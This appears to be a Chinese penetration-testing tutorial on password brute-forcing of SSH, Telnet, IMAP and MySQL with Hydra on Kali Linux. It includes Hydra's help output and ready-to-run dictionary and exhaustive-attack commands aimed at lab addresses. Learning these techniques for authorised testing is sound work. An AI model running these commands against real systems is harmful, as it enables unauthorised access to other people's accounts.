Kali渗透测试:身份认证攻击

简介: Kali渗透测试:身份认证攻击

Kali渗透测试:身份认证攻击
1.1 简单网络服务认证的攻击
网络上很多常见的应用都采用了密码认证的方式,如SSH、Telnet、FTP等。这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问题,就意味着网络中的大量设备将会沦陷。

针对这些常见的网络服务认证,我们可以采用一种“暴力破解”的方法。就是把所有可能的密码都尝试一遍。一般有以下3种思路:

1.1.1 纯字典攻击
这种思路最简单,攻击者只需要利用攻击工具将用户名和字典中的密码组合起来,一个一个尝试即可。破解成功的概率与选用的字典有很大关系。

1.1.2 混合攻击
混合攻击依靠一定的算法对字典中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字,如一个单词“test”,经过算法处理之后就会变成“test1”“test2”……“test1981” “test19840123”等。

1.1.3 完全暴力攻击
这是一种最为“粗暴”的攻击方式,实际上这种方式并不需要字典,而是由攻击工具将所有的密码穷举出来。这种攻击方式通常需要很长时间,也是最不可行的一种方式。下图给出了一种使用SSL服务的身份验证界面, IP地址为192.168.68.125的服务器上提供了SSL服务,这个服务的拥有者将密码提供给合法用户,用户通过密码认证之后就可以访问里面的资源了。

image.png

下面讲解针对这种网络身份验证的渗透过程,这里我们使用Hydra作为渗透攻击。Hydra的本意为希腊神话中的九头蛇,是一款非常强大的网络服务密码破解工具。Hydra支持30多种常见的网络服务或者协议的破解,其中包括ARP、Cisco AAA验证、FTP、HTTP、POP3、SNMP、SSH、Telnet等。

在Kali中我们可以在Applications 中选择“05-Password Attacks”–> “Online Attacks”–>“Hydra”来启动这个工具,如下图所示:

image.png

Hydra是一款命令行工具,它的命令格式如下:

└─# hydra
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{
   head|get|post} http[s]-{
   get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{
   cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

使用Kali自带的一个包含弱口令的字典small.txt,它位于/usr/share/wordlist/dirb目录中。假设事先已经知道用户名为kali,只需要破解密码:

┌──(root💀kali)-[~]
└─#hydra 192.168.68.242 ssh -l kali -P /usr/share/wordlists/dirb/small.txt -t 6 -v -f

其中- P用来指明使用的字典为small.txt,破解时需要用户名为liuxiaowei(假设事先已知),-t指明破解时的线程数,- v显示详细信息,-f表示成功找到一个密码后停止。下图所示给出了Hydra执行攻击的具体过程:

image.png

如果成功破解出了用户名和密码,结果将会以绿色显示(本人的操作背景就是绿色,所以不明显),Hydra得到的结果如下图所示:

image.png

接下来,我们尝试不使用字典,而使用完全暴力破解的方式。假设我们知道密码为4位,而且都为字符,那么我们可以用4:4:1来表示所有的长度为4位的纯字符密码。因为这种破解方式很慢,所以我们将线程设置为6(数值不能过大),破解命令如下:

┌──(root💀kali)-[~]
└─#hydra 192.168.68.125 ssh -l kali -x 4:4:a -t 6 -v -f

Hydra执行完全暴力破解攻击的具体过程如下图所示:
image.png

在攻击的最后,我们得到了可以登录的用户名和密码。但是这个过程十分漫长,因为不使用字典,单纯暴力破解是一件极为困难的事情。其他常见协议的破解方式都大同小异,只有Web页面都区别比较大。下面列出常见的协议破解命令:

#破解Telnet
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 telnet -l 用户名 -P 密码字典 -s 23
# 破解IMAP
┌──(root💀kali)-[~]
└─# hydra - L 用户名字典 -P 密码字典 目标地址 service imap
# 破解MySQL
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 mysql -l root -P 密码文件
相关文章
|
13天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
51 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
1月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
2月前
|
网络协议 安全 Linux
Kali渗透测试:拒绝服务攻击(一)
Kali渗透测试:拒绝服务攻击(一)
200 2
|
2月前
|
存储 网络协议 安全
Kali渗透测试:拒绝服务攻击(二)
Kali渗透测试:拒绝服务攻击(二)
287 0
|
2月前
|
安全 网络安全 数据库
Kali测试:散列密码破解(一)
Kali渗透测试:散列密码破解(一)
41 0
|
2月前
|
安全 应用服务中间件 网络安全
Kali测试:散列密码破解(二)
Kali渗透测试:散列密码破解(二)
126 0
|
2月前
|
Web App开发 测试技术 网络安全
Kali 测试:使用Burp Suite 对网络认证服务的攻击(一)
Kali 渗透测试:使用Burp Suite 对网络认证服务的攻击(一)
97 0
|
2月前
|
网络安全 数据安全/隐私保护 安全
Kali 测试:使用Burp Suite 对网络认证服务的攻击(二)
Kali 渗透测试:使用Burp Suite 对网络认证服务的攻击(二)
173 0
|
9天前
|
监控 JavaScript 测试技术
postman接口测试工具详解
Postman是一个功能强大且易于使用的API测试工具。通过详细的介绍和实际示例,本文展示了Postman在API测试中的各种应用。无论是简单的请求发送,还是复杂的自动化测试和持续集成,Postman都提供了丰富的功能来满足用户的需求。希望本文能帮助您更好地理解和使用Postman,提高API测试的效率和质量。
51 11
|
1月前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
65 3

热门文章

最新文章